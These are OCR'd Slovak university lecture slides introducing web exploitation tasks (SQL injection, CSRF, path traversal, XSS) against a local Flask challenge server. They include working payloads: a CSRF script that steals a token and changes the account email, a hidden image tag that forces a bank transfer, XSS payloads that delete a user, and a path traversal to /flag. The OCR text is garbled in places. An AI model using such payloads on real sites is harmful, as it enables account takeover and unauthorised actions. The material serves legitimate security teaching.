Webové zranitelnosti

BezpeCnost informacnych systémov z pohladu praxe

Palo Litauszki
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> Struktura uloh

> predstavenie niektorych technik
exploitacie webovych aplikacii
> zladne “reconnaissance”,
skenovanie (nmap)
> 7ziadne zlé konfiguracie,
staré verzie softvéru pouzitého
pri navrhu (Apache, wordpress)
white box (kdéd ulohy je dostupny)
> primarne zamerané na injektovanie
kodu, skladanie SQL queries

\/

> lokalne spusteny Flask* webserver

*https://flask.palletsprojects.com/en/3.0.x/ Ox03



> Struktura uloh

> navrh jednoduchej aplikacie
flask Flask
app = Flask(__name__)
@app.route("/")
hello_world():
"<p>:ide:</p>"

> pripojenie do lokalnej databazy pomocou:

connection = sqlite3.connect(db_name)

selenium webdriver 0x04



> linux zaklady

> curl
- posielanie, spracovanie
requestov na webserver
>pS
- VYypls procesov
> &
- “background” => presunie
proces do pozadia
> for 1 in (seq 1 100);
do ... ;done
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> SQL 1njections

SELECT * FROM students WHERE category =
'<input>'" AND poctivost = 1;
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> SQL 1njections

SELECT * FROM students WHERE category =
'zlomyselni' AND poctivost = 1;
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> SQL 1njections

SELECT * FROM students WHERE category =
AND poctivost = 1;
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> SQL 1njections

SELECT name FROM team WHERE category = 'good'
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> SQL 1njections

SELECT name FROM team WHERE category =

Ox0a



> SQL 1njections

SELECT name FROM team WHERE category =

> toto ale nebude fungovat, nakolko v UNION musime mat rovnaky pocCet

argumentov (stlpcov) s pdvodnym selectom! (CONCAT, CAST, CONVERT)

> nezabudnite aj na spravne ukoncCenit query!

> viem ziskat' aj informacie o databaze (verziu, prihlaseného
pouzivatela, nazov tabulky [SELECT tbl_name FROM sqlite_master])
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> cross site request forgery (CSRF)

> pochadza z serveru/uzla ale vykonava akciu na inom
> nie je to poziadavka poévodného pouzivatela

var xhr = new XMLHttpRequest();
xhr .open("GET", "/my-account", false);
xhr.send(null);

// Extract CSRF Token

var ctoken = xhr.responseText;

var pos = ctoken.indexOf('name="csrf"");

ctoken = ctoken.substring(pos,ctoken.length).substr(1
9,32);

// Update e-mail address

xhr .open("POST", "/my-account\/change-email", true);

xhr .setRequestHeader ("Accept", "text\/html,application\/xhtml+xml, application\/xml;qg=0.9, image\/avif, image\/
webp, *\/*;q=0.8");

xhr.setRequestHeader ("Accept-Language", "en-US,en;q=0.5");

xhr .setRequestHeader ("Content-Type", "application\/x-www-form-urlencoded");

var body = "email=csrfdemo%40schellman.com&csrf=" + ctoken;

xhr .send(body);

Ox0Oc



> cross site request forgery (CSRF)

> pochadza z serveru/uzla ale vykonava akciu na inom
> nie je to poziadavka poévodného pouzivatela

var xhr = new XMLHttpRequest();
xhr.open("GET", "/my-account", false);
xhr.send(null);

// Extract CSRF Token

var ctoken = xhr.responseText;

var pos = ctoken.indexOf('name="csrf""');

ctoken = ctoken.substring(pos,ctoken.length).substr(1
9,32);

// Update e-mail address

xhr.open("POST", "/my-account\/change-email", true);

xhr.setRequestHeader ("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9, ims
xhr.setRequestHeader ("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader ("Content-Type", "application\/x-www-form-urlencoded");

var body = "email=csrfdemo%40schellman.com&csrf=" + ctoken;

xhr.send(body);

<img src="http://fatrabanka.sk/transfer.do?acc=PALO&amount=15"
width="0" height="auto"> Ox0c



leve ll

levell():

path = request.args.get("path™)
path, "Missing "path  argument”
(pathlib.Path(app.root_path) / path).read_text()
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> levell

curl http://challenge. localhost:80/”path=/flag

requests

response =
requests.get("http://challenge. Localhost:80

/?path=/flag")
print(response.text)
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> levell (lokalne)

OxXOf



cross site scripting (XSS)

> mate k dispozicii zdrojovy kod, skuSate oSetrenie
Specialnych charakterov vo vstupe

> <script>alert(1l);</script> a SimpleHTTPServer niesu uz
naozaj praktické metody

Ox10



cross site scripting (XSS)

> mate k dispozicii zdrojovy kod, skuSate oSetrenie
Specialnych charakterov vo vstupe

> <script>alert(1l);</script> a SimpleHTTPServer niesu uz
naozaj praktickée metddy

curl -X POST -H "Content-Type: application/json" --cookie
"PHPSESSID=hibcw4d4u4r8q447rz8221n" \
-d '{"id":7357, "name":"Stefan

II, Ilage|l:21}l \
http://challenge.hacker/login

Ox1b



> Ccross site scripting (XSS)

> mate k dispozicii zdrojovy kod, skuSate oSetrenie
Specialnych charakterov vo vstupe

> <script>alert(1l);</script> a SimpleHTTPServer niesu uz
naozaj praktickée metddy

> DOM based XSS injection

var search = document.getElementById('search').value;
var results = document.getElementById('flag');
results.innerHTML = 'Gratulujem : ' + search;

<img src="flag” onerror='/* />

> nuteny error je niekedy viac ako Standartny vypis




> Ccross site scripting (XSS)

POST /update HTTP/1.1

Host: challenge.hacker

{ Ilid!l:2’

"name":'"<svg/onload=\"

var xhr=new XMLHttpRequest();
xhr.open('GET', '/auth/user/delete?name=stefan’',
true);
xhr.send();\">"

Ox1b



> poznamky

ked :nejde: -> reStartujem challenge cez webstranku

tmux alebo nechat bezat server na pozadi

tipy k SQL* (‘ DROP Database BISPP; — nebude fungovat : ()
HTML URL Encoding pri argumentoch v url**

timeout, bruteforce?

V V.V V V

e —
§ | ¢

Y

*https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
**https://www.w3schools.com/tags/ref_urlencode.ASP Ox1b


https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

> zaver

cielom uloh je precitat obsah suboru /flag

analyza praktickych uloh z oblasti webovej bezpeCnosti
naprogramovat kratke rieSenia (python, javascript, bash)
chybal vam k rieSeniu nejaky nastroj?

odovzdat kratku dokumentaciu

V V.V V V

> kontakt:

a palowashere

glitauszki@stuba.sk
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> vela Stastilia A oni nevedia Ze som

fﬁ\ rieSil bispp celd noc

il

N1E

RADSE)

deadline: 9.4.2024 13:37
Ox1d
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